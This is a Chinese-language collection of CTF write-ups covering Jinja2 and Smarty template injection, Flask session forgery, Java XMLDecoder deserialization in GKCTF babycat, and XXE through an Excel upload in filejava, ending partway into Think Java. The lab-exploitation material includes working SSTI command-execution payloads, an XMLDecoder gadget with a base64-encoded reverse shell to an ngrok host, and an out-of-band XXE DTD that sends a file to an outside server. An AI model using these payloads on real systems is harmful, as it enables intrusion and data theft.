rc4模板注入

image-20220412155207786

不知道啥意思,抓包看看

image-20220412155451876

没东西,是不是要输入secret

image-20220412155506547

image-20220412155635575

尝试模板注入发现报错

image-20220412155737591

因为我们是传的secret参数,所以我们之间搜索secret参数

image-20220412160440375

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
#print("加密后的输出(经过编码):")
#print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
#需要加密的字符串在这里修改
payload = '''{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}'''
rc4_main("HereIsTreasure",payload)
#.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C2%811%29%C3%976N%C2%84%C2%BA%04.%C3%8A%C2%9A%18%C2%B7L%05%7Bw%C2%B4%12%C2%9B~%C3%A3%7D%C2%87kQ%01%21D%C2%9D%C3%98R%C2%B6%C2%B1%C2%B5%C2%80%C2%AE%C3%84%C3%BBJ%08%C3%98%C2%9C%C3%B7%C3%B7%C3%A9uT%C2%A7%C2%86%15%C2%8D%2C%14%19%C2%9B%C2%BAu%3E%2BEq%C3%A3%C3%97%C3%95%1D%40%C2%AB/%0C%17%C3%90l%C2%836%C2%BD%C3%96%C3%A9%2A%C3%B2%C2%B6Pz%C2%A2%C2%96o%C3%86q%0D%13y%C2%B0%C3%8F%C3%A6%C2%B3%C2%BC%C3%887Qql%03%C3%AA%24%C2%8E0%19%C2%B7%C3%836E0%C3%BC%C2%A6.%C2%AB%C3%9A%C3%B64%7C%C2%9F%09k%23%C3%A7%C2%86c%C3%85%C3%B2%C2%9Cf%C2%A7%C3%A5%C2%93i%C2%97%20%06%C3%B9%C3%99%C3%9C%C2%93Wo%C3%95%C3%AB%C3%AF%16%C2%A2e%C3%84%C2%B6u%1Bk%3D%C2%8Bc%C2%86%C2%A9c%C3%82%C2%AA.E-cHn%C2%9B%C2%BE%C3%A0%C3%98%C3%80%C3%AC%C3%92%5BD%0C%C2%86%C3%99%C3%9D%C2%8A%C3%AEf3b%C3%8E%C2%85%C2%91%C2%92%C3%B7K%C3%89%C2%BB%C2%8A%C3%B3%29%C3%98%00%C3%93W6P%C3%92%0D_%C3%91%C3%BD%12%C3%AC%C3%8A%3D%22%08e%C2%84%C2%9C%C2%AFD%C3%A1%02%C3%BCd%11%00%C2%B5%C2%95%C2%A9%C2%992924w%09%7D%1C%C2%A8%C3%A3/%C2%92%C3%A4%C3%89M%C3%A0%C2%A6%C3%A6%1D%C2%BB/H0%C3%B0%C2%BC%01b%25f%C2%BE%C2%B0%C2%91e8f%C3%83%C2%AC2%C3%9B%C2%BA%C3%B2%C2%BFk%2BH%C2%A5%05u%C3%BD%C3%8F%C2%9D%C3%BCq%C2%88%C2%BE%7B%02%C2%B1FL%5E/%C2%95%C3%A6%C3%81%10%C2%A8%C2%AC%1B%C2%9D%C2%B6%3D%C3%BEQW%083%C2%81%5B
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20220412161108902

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20220412161151000

flask框架session越权

image-20220412161723162

试试是不是远程文件包含,发现不是,接着读取本地文件试试

image-20220412162216508

我们查看一下本地进程/proc/self/cmdline

image-20220412163224916

python的后台地址/app/app.py

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

关键信息session==fuck,那么我们需要去找flask的session处理方法,而flask session处理机制与SECRET_KEY有关.这里的secret_key生成利用了伪随机数

image-20220412174153626

image-20220412174310611

简单点就是需要获取靶机的mac地址,在linux下mac地址的位置是

/sys/class/net/eth0/address

image-20220412174517288

12:c2:4b:05:46:0c

接下来我们按照uuid.getnode生成secret_key,记得要用python2哦

# coding=utf-8
import random

mac = '12:c2:4b:05:46:0c'
nmac = mac.replace(':', '')
random.seed(int(nmac, 16)) # 将字符串转换成16进制int类型在传入seed
key = str(random.random()*233)
print key
#187.411379406
python2 flask_session_cookie_manager2.py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YlU11A.UWWy8w8BqkOlDxHG8Pii9fPRJqM"
{"username":{" b":"d3d3LWRhdGE="}}

python2 flask_session_cookie_manager2.py encode -s 187.411379406 -t "{'username':'fuck'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.YlVQRA.hUlU1YQYX_VZRpDRaOzkYelt9TQ

解密与加密需要使用固定的格式不然会报错.解密出来的字符串不能直接更改值,需要改为键值的格式

image-20220412181243817

smarty框架的ssti

{php}{/php}

Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用

{literal}标签

{literal}可以让一个模板区域的字符原样输出,这经常用于保护页面上的javascript或者css样式表,比曼因为smarty的定界符而错被解析

getstreamvariable

可以读取一个文件返回其内容,可以用sekf来获取smarty对象并调用这个方法

新版本smarty已将该静态方法删除

payload:{self::getStreamVariable("file:///etc/passwd")}

{if}标签

smary的{if}条件判断和php的if非常相似,只是增加了一些特性,每一个{if}必须有一个配对的{/if}.也可以使用{else}和{elseif}.全部的php条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array(), 等等

{if phpinfo()}{/if}

image-20220412184017205

题目打开发现提示了smarty框架

image-20220412184048944

去访问这些页面也发现无法访问,但是在右上有cuurent ip 在下面也提示有X-Forwared-For

image-20220412184208636

发现是输入什么就显示什么说明可能存在模板注入

image-20220412184258093

发现成功执行了,接着我们使用if语句执行命令试试

image-20220412184345827

image-20220412184432201

image-20220412184448449

[GKCTF 2021]babycat

image-20220425160534111

注册显示没有权限

image-20220425160545557

image-20220425160617732

看到有发包,我们注册试试

image-20220425161430561

image-20220425161436637

image-20220425161502654

image-20220425161512233

存在upload和download test两个页面

image-20220425161823123

download会下载下来文件

image-20220425161903894

upload只有管理员可以访问

image-20220425162046486

我们试着把guest改成admin也会变回guest

image-20220425161957956

可得到web.xml

<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<servlet>
<servlet-name>register</servlet-name>
<servlet-class>com.web.servlet.registerServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>login</servlet-name>
<servlet-class>com.web.servlet.loginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>home</servlet-name>
<servlet-class>com.web.servlet.homeServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>upload</servlet-name>
<servlet-class>com.web.servlet.uploadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>download</servlet-name>
<servlet-class>com.web.servlet.downloadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>logout</servlet-name>
<servlet-class>com.web.servlet.logoutServlet</servlet-class>
</servlet>


<filter>
<filter-name>loginFilter</filter-name>
<filter-class>com.web.filter.LoginFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>loginFilter</filter-name>
<url-pattern>/home/*</url-pattern>
</filter-mapping>
<display-name>java</display-name>

<welcome-file-list>
<welcome-file>/WEB-INF/index.jsp</welcome-file>
</welcome-file-list>
</web-app>

下载一下文件

/WEB-INF/classes/com/web/servlet/registerServlet.class

image-20220425162659260

registerServlet.class

//继承HttpServlet类
public class registerServlet extends HttpServlet {
//本类的构造方法
public registerServlet() {
}
//servlet类的doGet方法传入 前一个参数为请求 后一个参数是响应 抛出servletexception 和 ioexception
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
req.setAttribute("error", "<script>alert('Not Allowed')</script>");
req.getRequestDispatcher("WEB-INF/register.jsp").forward(req, resp);
}
//servlet类的doPOST方法
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setCharacterEncoding("UTF-8");
Integer res = 0; //定义整形res
String role = "";//定义string类型role
Gson gson = new Gson(); //new一个json对象
new Person();
Connection connection = null;
//将post传入的data参数如果有空格就把空格替换为空,没有就返回源字符,接着进行替换将'替换为双引号
String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\"");
//表示正则表达式 匹配"role":"(.*?)"
Pattern pattern = Pattern.compile("\"role\":\"(.*?)\"");
//对最后一个匹配的进行强制替换.但是那里用的是for循环,role得到的是最后依次匹配到的,所以可以写2个不一样的role,把最后依次匹配到的替换掉就可以了
for(Matcher matcher = pattern.matcher(var); matcher.find(); role = matcher.group()) {
}

Person person;
if (!StringUtils.isNullOrEmpty(role)) {//如果role不是空
var = var.replace(role, "\"role\":\"guest\"");//就将其替换为"role":"guest"
person = (Person)gson.fromJson(var, Person.class);//安装person.class类的方法转换成json在强转成person
} else {
person = (Person)gson.fromJson(var, Person.class);
person.setRole("guest");
}

System.out.println(person);//打印person
if (person.getUsername() == null || person.getPassword() == null) {//
resp.sendError(500, "用户名或密码不能为空!");
}

person.setPic("/static/cat.gif");

try {
connection = baseDao.getConnection();//连接数据库
} catch (Exception var17) {
var17.printStackTrace();
}

if (connection != null) {
String sql_query = "select * from ctf where username=?";
Object[] params1 = new Object[]{person.getUsername()};

try {
ResultSet rs = baseDao.execute(connection, sql_query, params1);//执行sql语句查询username=param1
if (rs.next()) {//如果rs有俩就打印存在
System.out.println(rs.next());
resp.sendError(500, "user already exists!");
} else {//将用户名密码写入
String sql = "insert into ctf (username,password,role,pic) values (?,?,?,?)";
Object[] params2 = new Object[]{person.getUsername(), person.getPassword(), person.getRole(), person.getPic()};
res = baseDao.Update(connection, sql, params2);
}
} catch (SQLException var16) {
var16.printStackTrace();
}

baseDao.closeResource(connection, (ResultSet)null, (PreparedStatement)null);
}

if (res == 1) {
resp.getWriter().write("register success!");
}//输出注册成功

}
}

downloadServlet.class

public class downloadServlet extends HttpServlet {
public downloadServlet() {
}

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {//得到file参数
String file = req.getParameter("file");
System.out.println(file);//打印CATALINA_HOME的位置连接后面的未对file参数进行过滤
String path = System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/" + file;
FileInputStream fis = new FileInputStream(path);//将file读到流中
resp.setCharacterEncoding("utf-8");
resp.setHeader("Content-Disposition", "attachment; filename=" + file);
ServletOutputStream out = resp.getOutputStream();
byte[] bt = new byte[1024];
boolean var8 = false;

int length;
while((length = fis.read(bt)) != -1) {
out.write(bt, 0, length);
}

out.close();
} catch (Exception var9) {
resp.sendError(500, "something error!");
}

}

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}

uploadServlet.class

@MultipartConfig
public class uploadServlet extends HttpServlet {
public uploadServlet() {
}

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String admin = "admin";
Person user = (Person)req.getSession().getAttribute("user");
System.out.println(user.getRole());
if (!admin.equals(user.getRole())) {//需要role是admin
req.setAttribute("error", "<script>alert('admin only');history.back(-1)</script>");
req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);
} else {
List<String> fileNames = new ArrayList();//定义filename
tools.findFileList(new File(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/"), fileNames);
req.setAttribute("files", fileNames);
System.out.println(fileNames);
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}

req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (!ServletFileUpload.isMultipartContent(req)) {
req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);
}

DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(3145728);
factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setFileSizeMax(41943040L);
upload.setSizeMax(52428800L);
String uploadPath = System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/";

try {
List<FileItem> formItems = upload.parseRequest(req);
if (formItems != null && formItems.size() > 0) {
Iterator var7 = formItems.iterator();

label34:
while(true) {
FileItem item;
do {
if (!var7.hasNext()) {
break label34;
}

item = (FileItem)var7.next();
} while(item.isFormField());

String fileName = item.getName();
//截取最后一个点后面的
String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
String name = fileName.replace(ext, "");
//检查后缀
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}

String filePath = uploadPath + File.separator + name + ext;
File storeFile = new File(filePath);
item.write(storeFile);
req.setAttribute("error", "upload success!");
}
}
} catch (Exception var14) {
req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>");
}

req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
//检查
private static boolean checkExt(String ext) {
boolean flag = false;
String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};
if (!Arrays.asList(extWhiteList).contains(ext.toLowerCase())) {
flag = true;
}

return flag;
}

private static boolean checkContent(InputStream item) throws IOException {
boolean flag = false;
InputStreamReader input = new InputStreamReader(item);
BufferedReader bf = new BufferedReader(input);
String line = null;
StringBuilder sb = new StringBuilder();

while((line = bf.readLine()) != null) {
sb.append(line);
}

String content = sb.toString();
String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};

for(int i = 0; i < blackList.length; ++i) {
if (content.contains(blackList[i])) {
flag = true;
}
}

return flag;
}
}

baseDao.class

public class baseDao {
private static String driver;
private static String url;
private static String username;
private static String password;
public static Connection connection;

public baseDao() {
}
//这里对db.xml进行了解码操作
public static void getConfig() throws FileNotFoundException {
Object obj = (new XMLDecoder(new FileInputStream(System.getenv("CATALINA_HOME") + "/webapps/ROOT/db/db.xml"))).readObject();
if (obj instanceof HashMap) {
HashMap map = (HashMap)obj;
if (map != null && map.get("url") != null) {
driver = (String)map.get("driver");
url = (String)map.get("url");
username = (String)map.get("username");
password = (String)map.get("password");
}
}

}

public static Connection getConnection() throws Exception {
getConfig();
if (connection == null) {
try {
Class.forName(driver);
connection = DriverManager.getConnection(url, username, password);
} catch (ClassNotFoundException | SQLException var1) {
var1.printStackTrace();
}
}

return connection;
}

public static ResultSet execute(Connection connection, String sql, Object[] params) throws SQLException {
PreparedStatement preparedStatement = connection.prepareStatement(sql);

for(int i = 0; i < params.length; ++i) {
preparedStatement.setObject(i + 1, params[i]);
}

ResultSet rs = preparedStatement.executeQuery();
return rs;
}

public static int Update(Connection connection, String sql, Object[] params) throws SQLException {
PreparedStatement preparedStatement = connection.prepareStatement(sql);

int updateRows;
for(updateRows = 0; updateRows < params.length; ++updateRows) {
preparedStatement.setObject(updateRows + 1, params[updateRows]);
}

updateRows = preparedStatement.executeUpdate();
return updateRows;
}

public static boolean closeResource(Connection connection, ResultSet result, PreparedStatement preparedStatement) {
boolean flag = true;
if (result != null) {
try {
result.close();
} catch (SQLException var6) {
var6.printStackTrace();
flag = false;
}

result = null;
}

if (preparedStatement != null) {
try {
preparedStatement.close();
} catch (SQLException var5) {
var5.printStackTrace();
flag = false;
}

preparedStatement = null;
}

return flag;
}

static {
try {
getConfig();
} catch (Exception var1) {
var1.printStackTrace();
}

}
}

存在xmldecoder漏洞

<java version="1.7.0_80" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>

板了一些命令,使用实体编码来绕过

<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.&#80;rocessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5qcC5uZ3Jvay5pby8xNTQzMiAwPiYx}|{base64,-d}|{bash,-i}</string>
</void>
</array>
<void method="start"/>
</object>
</java>
data={ username: '12', password: 'test', role: 'admin' ,'1':{"role":"role"}}

写两个role来绕过

image-20220425185700176

image-20220425185708862

data={ username: '1234', password: 'test', role: 'admin' /*,"role":"role"*/}

注释绕过

image-20220425185938772image-20220425190320453

接着再次登录

image-20220425191721078

image-20220425191727758

image-20220425192011785

非预期

if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}

在if里面这里如果后缀和内容出现了问题之后,并没有return,也就是说在执行完if里面的两句话之后程序还会继续向下执行下去

无论是request.getRequestDispatcher(path).forward(request,response)还是response.sendRedirect,程序都会在执行完该句的情况下继续向下执行,因此在必要的情况下应该使用return终止该方法

但是upload目录不可写,写到static目录

image-20220425212653948

image-20220425212821829

[网鼎杯 2020 青龙组]filejava

image-20220425210721675

一个上传点

image-20220425213349544

没地址,但是能下载,试试下载web.xml

image-20220425213607495

可行

web.xml


<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
</web-app>

../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

public class DownloadServlet extends HttpServlet {
//定义一个常量
private static final long serialVersionUID = 1L;

public DownloadServlet() {
}
//get调用post
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//得文件名
String fileName = request.getParameter("filename");
fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
System.out.println("filename=" + fileName);
//如果文件名等于flag就禁止读取
if (fileName != null && fileName.toLowerCase().contains("flag")) {
request.setAttribute("message", "禁止读取");
//转发请求到message.jsp
request.getRequestDispatcher("/message.jsp").forward(request, response);

} else {
//获取保存绝对路径
String fileSaveRootPath = this.getServletContext().getRealPath("/WEB-INF/upload");
//去找有没有这个文件
String path = this.findFileSavePathByFileName(fileName, fileSaveRootPath);
//接着就保存
File file = new File(path + "/" + fileName);
if (!file.exists()) {
request.setAttribute("message", "您要下载的资源已被删除!");
request.getRequestDispatcher("/message.jsp").forward(request, response);
} else {
String realname = fileName.substring(fileName.indexOf("_") + 1);
response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8"));
FileInputStream in = new FileInputStream(path + "/" + fileName);
ServletOutputStream out = response.getOutputStream();
byte[] buffer = new byte[1024];
boolean var11 = false;

int len;
while((len = in.read(buffer)) > 0) {
out.write(buffer, 0, len);
}

in.close();
out.close();
}
}
}

public String findFileSavePathByFileName(String filename, String saveRootPath) {
int hashCode = filename.hashCode();
int dir1 = hashCode & 15;
int dir2 = (hashCode & 240) >> 4;
String dir = saveRootPath + "/" + dir1 + "/" + dir2;
File file = new File(dir);
if (!file.exists()) {
file.mkdirs();
}

return dir;
}
}

ListFileServlet.class

public class ListFileServlet extends HttpServlet {
private static final long serialVersionUID = 1L;

public ListFileServlet() {
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String uploadFilePath = this.getServletContext().getRealPath("/WEB-INF/upload");
Map<String, String> fileNameMap = new HashMap();
String saveFilename = (String)request.getAttribute("saveFilename");
String filename = (String)request.getAttribute("filename");
System.out.println("saveFilename" + saveFilename);
System.out.println("filename" + filename);
saveFilename.substring(saveFilename.indexOf("_") + 1);
fileNameMap.put(saveFilename, filename);
request.setAttribute("fileNameMap", fileNameMap);
request.getRequestDispatcher("/listfile.jsp").forward(request, response);
}
}

UploadServlet.class

public class UploadServlet extends HttpServlet {
private static final long serialVersionUID = 1L;

public UploadServlet() {
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String savePath = this.getServletContext().getRealPath("/WEB-INF/upload");
String tempPath = this.getServletContext().getRealPath("/WEB-INF/temp");
File tempFile = new File(tempPath);
if (!tempFile.exists()) {
tempFile.mkdir();
}

String message = "";

try {
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(102400);
factory.setRepository(tempFile);
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setHeaderEncoding("UTF-8");
upload.setFileSizeMax(1048576L);
upload.setSizeMax(10485760L);
if (!ServletFileUpload.isMultipartContent(request)) {
return;
}

List<FileItem> list = upload.parseRequest(request);
Iterator var10 = list.iterator();

label56:
while(true) {
while(true) {
if (!var10.hasNext()) {
break label56;
}

FileItem fileItem = (FileItem)var10.next();
String filename;
String fileExtName;
if (fileItem.isFormField()) {
filename = fileItem.getFieldName();
fileExtName = fileItem.getString("UTF-8");
} else {
filename = fileItem.getName();
if (filename != null && !filename.trim().equals("")) {
fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
InputStream in = fileItem.getInputStream();
//这里是一个excel和xxe漏洞的结合,CVE-2014-3529
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException var20) {
System.err.println("poi-ooxml-3.10 has something wrong");
var20.printStackTrace();
}
}

String saveFilename = this.makeFileName(filename);
request.setAttribute("saveFilename", saveFilename);
request.setAttribute("filename", filename);
String realSavePath = this.makePath(saveFilename, savePath);
FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);
byte[] buffer = new byte[1024];
boolean var19 = false;

int len;
while((len = in.read(buffer)) > 0) {
out.write(buffer, 0, len);
}

in.close();
out.close();
message = "文件上传成功!";
}
}
}
}
} catch (FileUploadException var21) {
var21.printStackTrace();
}

request.setAttribute("message", message);
request.getRequestDispatcher("/ListFileServlet").forward(request, response);
}

private String makeFileName(String filename) {
return UUID.randomUUID().toString() + "_" + filename;
}

private String makePath(String filename, String savePath) {
int hashCode = filename.hashCode();
int dir1 = hashCode & 15;
int dir2 = (hashCode & 240) >> 4;
String dir = savePath + "/" + dir1 + "/" + dir2;
File file = new File(dir);
if (!file.exists()) {
file.mkdirs();
}

return dir;
}
}

新建一个excel-1.xlsx文件

image-20220425220213093

改后缀名为zip

image-20220425220304145

解压缩

image-20220425220321341

对文件夹里面的[Content_Types].xml进行修改,修改完之后在压缩成zip文件,改名后缀为xlsx

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "https://090d5d2b-5273-4359-b03d-35dba710484d.challenge.ctf.show/1.dtd">
%remote;
%all;
]>
<root>&send;</root>

image-20220425222459998

在自己服务器上面新建一个1.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'https://090d5d2b-5273-4359-b03d-35dba710484d.challenge.ctf.show:8888/%file;'>">

[网鼎杯 2020 朱雀组]Think Java

SqlDict.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package cn.abc.core.sqldict;

import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

public class SqlDict {
public SqlDict() {
}
//静态连接方法传入dbName user pass
public static Connection getConnection(String dbName, String user, String pass) {
Connection conn = null;

try {
Class.forName("com.mysql.jdbc.Driver");
if (dbName != null && !dbName.equals("")) {
//如果dbname不等于空就直接连接
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
} else {
dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
}

if (user == null || dbName.equals("")) {
user = "root";
}

if (pass == null || dbName.equals("")) {
pass = "abc@12345";
}

conn = DriverManager.getConnection(dbName, user, pass);
} catch (ClassNotFoundException var5) {
var5.printStackTrace();
} catch (SQLException var6) {
var6.printStackTrace();
}

return conn;
}

public static List<Table> getTableData(String dbName, String user, String pass) {
List<Table> Tables = new ArrayList();
Connection conn = getConnection(dbName, user, pass);
String TableName = "";

try {
Statement stmt = conn.createStatement();
DatabaseMetaData metaData = conn.getMetaData();
ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[]{"TABLE"});

while(tableNames.next()) {
TableName = tableNames.getString(3);
Table table = new Table();
//这里存在sql注入
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);

while(rs.next()) {
table.setTableDescribe(rs.getString("TABLE_COMMENT"));
}

table.setTableName(TableName);
ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);

String PK;
for(PK = ""; rs2.next(); PK = rs2.getString(4)) {
}

while(data.next()) {
Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
table.list.add(row);
}

Tables.add(table);
}
} catch (SQLException var16) {
var16.printStackTrace();
}

return Tables;
}
}

Test.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package cn.abc.core.controller;

import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {
public Test() {
}

@PostMapping({"/sqlDict"})
@Access
@ApiOperation("为了开发方便对应数据库字典查询")
public ResponseResult sqlDict(String dbName) throws IOException {
List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
return ResponseResult.e(ResponseCode.OK, tables);
}
}

